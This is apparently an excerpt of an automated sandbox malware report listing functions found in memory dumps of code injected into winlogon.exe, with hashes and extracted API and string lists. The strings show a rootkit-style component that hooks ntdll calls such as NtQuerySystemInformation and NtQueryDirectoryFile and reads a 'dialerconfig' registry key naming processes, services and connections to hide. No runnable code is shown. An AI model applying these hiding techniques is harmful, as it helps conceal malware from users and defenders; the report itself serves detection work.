                                            • Instruction ID: d48ce241fd5c6b57c9d66a3839ec59588558f897ab86195e616c0656e38ee758
                                            • Opcode Fuzzy Hash: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
                                            • Instruction Fuzzy Hash: 21F05E6C301E2161FE6DDBEE995D3A552955F89B82F6CE4344D0AC67E2EE3CC481C620

                                            Non-executed Functions

                                            Function 00000225DC642B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
                                            • String ID: NtQueryObject$\Device\Nsi$ntdll.dll
                                            • API String ID: 2119608203-3850299575
                                            • Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction ID: 02e5d621d8295eb5dd385e75f9606a0c78f62cf6da70878d64f9e7b1c174dd69
                                            • Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction Fuzzy Hash: DCB1B47A21CE60A6EB968FEDC4487A973A5F744B8AF24D056DE0A53B94DF34CC41C340
                                            Function 00000225DC6A2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
                                            • String ID: NtQueryObject$\Device\Nsi$ntdll.dll
                                            • API String ID: 2119608203-3850299575
                                            • Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction ID: 8b409eee056ac65ba81e46254c59d85845063fb26c80b4bd130284c66f771075
                                            • Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction Fuzzy Hash: 96B1B37A290E60A2EBAADFADC44876963A5F744B86F24D016DE0DD3B95DF35CC81C340
                                            Function 00000225DC647D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                            • String ID:
                                            • API String ID: 3140674995-0
                                            • Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction ID: a0dd4a3191c2f22ec65cd5f9c7d8c34c65d38d6a3a9ca6151c6be4ce44add157
                                            • Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction Fuzzy Hash: 29318376219F909AEB609FA4E8447ED73A0F784745F44812ADB4E57B94EF38C548CB10
                                            Function 00000225DC6A7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                            • String ID:
                                            • API String ID: 3140674995-0
                                            • Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction ID: 3b87e895a044953073a839ffa4b4feaece301703ffc135d08af6657be6a0d668
                                            • Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction Fuzzy Hash: 14317276205F9099EB64DFA4E8443EE73A1F78474AF448029DB4E57B94EF38C548CB10
                                            Function 00000225DC64D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                            • String ID:
                                            • API String ID: 1239891234-0
                                            • Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction ID: f4e1f7a423249601853f9bf4c02ae152ed9a85bcd9bd447fde6e0ecec31a17ad
                                            • Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction Fuzzy Hash: 1531C73A218F90A6DB60DFA9E8443EE73A0F789755F504126EB9E43B94DF38C145CB00
                                            Function 00000225DC6AD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                            • String ID:
                                            • API String ID: 1239891234-0
                                            • Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction ID: 4dbdfab791ea173b22a2c1feee1540d37dae8e72db698209205baee473c09c96
                                            • Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction Fuzzy Hash: 7631C93A214F90A6EB64CFA9E8443DE73A0F789756F504126EB9D43B54DF38C145CB00
                                            Function 00000225DC647960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                            • String ID:
                                            • API String ID: 2933794660-0
                                            • Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction ID: d33dc497d620ec2850d47fa6d7599d0f75ef197f864d2f2ea1a1538dcd62ba05
                                            • Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction Fuzzy Hash: 54113026714F119AEF50CFE8E8593A833A4F719759F440E21DB6D467A4DF78C1A8C380
                                            Function 00000225DC64DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
                                            • Instruction ID: 712154813c46b612020be7a143dde11e41283ee14142f5bab4be78c3f0fa479c
                                            • Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
                                            • Instruction Fuzzy Hash: 11511A26B0CBA0A9FB20DBBAE84879E7BA1F740BD5F148155EE5927B95DB38C001C700
                                            Function 00000225DC6ADCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
                                            • Instruction ID: da0f1b53d22c38e7f028f1682345193667a56556076439a06e8349e4d1e3cf91
                                            • Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
                                            • Instruction Fuzzy Hash: 3C510926700FE0A9FB20DFBAA84879E7BA5F7447D5F248114EE58A7B95DB38C411C700
                                            Function 00000225DC6236F0 Relevance: .0, Instructions: 32COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
                                            • Instruction ID: fee74b632db8da7adfbcef3e822971e4130eb4171b3ad2da802a4781d9383549
                                            • Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
                                            • Instruction Fuzzy Hash: EAF062B57146A49EDBA98F6CA80671A77E1F308381FD4C029D68983B04D33C8061CF04
                                            Function 00000225DC6A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                            • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                            • API String ID: 106492572-2879589442
                                            • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction ID: 545a197093dbf33f1111aaff3c94dd347963510d91bf182c1d2d2b3e49a62449
                                            • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction Fuzzy Hash: 1B71FE7A314E24E6EB10DFAAE85869D33B5FB84B8AF109111DE4E97B69DF38C444C740
                                            Function 00000225DC6412BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                            • String ID: d
                                            • API String ID: 2005889112-2564639436
                                            • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction ID: fb1b484c7ebee393b1b53cdd5cd81ac2c1ca147a5507fda1b24fca473b782784
                                            • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction Fuzzy Hash: 46515E7A214F9496EB64CFAAE54836A77A1F789F9AF148124DF4A07B58DF3CC045C700
                                            Function 00000225DC6A12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                            • String ID: d
                                            • API String ID: 2005889112-2564639436
                                            • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction ID: d2d635d82ad37731a82d28168a5eda6b08545a77464cd3cb2b7161adfafd8aad
                                            • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction Fuzzy Hash: 22516C7A200F94DAEB54CFAAE54835A77A6F789F9AF148124DE4A47728DF3CC049C700
                                            Function 00000225DC641D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentThread$AddressHandleModuleProc
                                            • String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
                                            • API String ID: 4175298099-1975688563
                                            • Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction ID: 52c27ab1b4cc8d1b0b7a026bbb00d0580f7e8789e5eca17ee175a033894297e0
                                            • Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction Fuzzy Hash: 9231B8AC518DAAB0EB46EFEDE9597D43361B70434BF90D093940B025B1AF38828AC350
                                            Function 00000225DC6A1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentThread$AddressHandleModuleProc
                                            • String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
                                            • API String ID: 4175298099-1975688563
                                            • Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction ID: bae3e35cc23bdf7e795311711b41c652c83ad71068a264824faefe60a6291ab9
                                            • Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction Fuzzy Hash: 583195AC240D6AB0EA46EFEDE8697D46361B70474BF94D023D80986675EF3CC249C350
                                            Function 00000225DC616910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                            • API String ID: 190073905-1786718095
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 7539ecd07ed9e19813cea4b70ed8e4e8e5b401edcb5cd18e99020899339b4ff2
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: DF81122D702E71A6FE60EBED944D35962E0EB95783F18C425AB4983797EF38C946C700
                                            Function 00000225DC676910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                            • API String ID: 190073905-1786718095
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 22cde9f525fffbeb1c6e8d8417a217ee6af8dab08b44ae11a5e6f92b2a2e472d
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: 5581E26D710E61A6FA54EBEE944D35923D0EB85B82F58C8259B0947FD7EF38C846CB00
                                            Function 00000225DC64CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32 ref: 00000225DC64CE37
                                            • FlsGetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CE4C
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CE6D
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CE9A
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CEAB
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CEBC
                                            • SetLastError.KERNEL32 ref: 00000225DC64CED7
                                            • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF0D
                                            • FlsSetValue.KERNEL32(?,?,00000001,00000225DC64ECCC,?,?,?,?,00000225DC64BF9F,?,?,?,?,?,00000225DC647AB0), ref: 00000225DC64CF2C
                                              • Part of subcall function 00000225DC64D6CC: HeapAlloc.KERNEL32 ref: 00000225DC64D721
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF54
                                              • Part of subcall function 00000225DC64D744: HeapFree.KERNEL32 ref: 00000225DC64D75A
                                              • Part of subcall function 00000225DC64D744: GetLastError.KERNEL32 ref: 00000225DC64D764
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF65
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC650A6B,?,?,?,00000225DC65045C,?,?,?,00000225DC64C84F), ref: 00000225DC64CF76
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast$Heap$AllocFree
                                            • String ID:
                                            • API String ID: 570795689-0
                                            • Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction ID: c96d39c070731bccc58dc25472949b9c8324ede58aceb138708ddbc32eb2cb43
                                            • Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction Fuzzy Hash: 3B41AB2C34CE64B6FE68A7FD955D36932825F857B2F24C7A4A937467E6DF388442C200
                                            Function 00000225DC6ACE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32 ref: 00000225DC6ACE37
                                            • FlsGetValue.KERNEL32(?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACE4C
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACE6D
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACE9A
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACEAB
                                            • FlsSetValue.KERNEL32(?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACEBC
                                            • SetLastError.KERNEL32 ref: 00000225DC6ACED7
                                            • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACF0D
                                            • FlsSetValue.KERNEL32(?,?,00000001,00000225DC6AECCC,?,?,?,?,00000225DC6ABF9F,?,?,?,?,?,00000225DC6A7AB0), ref: 00000225DC6ACF2C
                                              • Part of subcall function 00000225DC6AD6CC: HeapAlloc.KERNEL32 ref: 00000225DC6AD721
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACF54
                                              • Part of subcall function 00000225DC6AD744: HeapFree.KERNEL32 ref: 00000225DC6AD75A
                                              • Part of subcall function 00000225DC6AD744: GetLastError.KERNEL32 ref: 00000225DC6AD764
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACF65
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000225DC6B0A6B,?,?,?,00000225DC6B045C,?,?,?,00000225DC6AC84F), ref: 00000225DC6ACF76
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast$Heap$AllocFree
                                            • String ID:
                                            • API String ID: 570795689-0
                                            • Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction ID: 16b8eac9f94798cf318e2989be29cf1ddfaa1c447e8d99b4c7a956a79ddaff1c
                                            • Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction Fuzzy Hash: 47415868300E6472FE68EBFD565D36922826F887B2F34C724A936C77E6DE39D441D201
                                            Function 00000225DC642244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
                                            • String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
                                            • API String ID: 2171963597-1373409510
                                            • Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction ID: 1de5ddcc8f1dfc1167620b25f9dc58926eb66b08d3309719a253bb24b32ba1e0
                                            • Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction Fuzzy Hash: 8E215679628F5093F710CBA9F54835977A1F785796F608215DB5903BA4CF7CC145CB00
                                            Function 00000225DC6A2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
                                            • String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
                                            • API String ID: 2171963597-1373409510
                                            • Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction ID: 123304303fb7c22e5d95d7b69af9060bb35e9dacbc8375ccdc98a975ab60097a
                                            • Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction Fuzzy Hash: 71217F7A614B6092FB14CBA9F54835973A1F789BA6F508215EB5943BA8CF7CC149CB00
                                            Function 00000225DC64A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction ID: bf4187be2395a619f89a1bc8f3fca4df6631bddcfcdd61a4c67bb6d669326bcb
                                            • Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction Fuzzy Hash: 65E1A47A60CF60AAFB60DFA9D44839D77A4F745799F208155EE8A57B9ACB34C082C700
                                            Function 00000225DC619944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
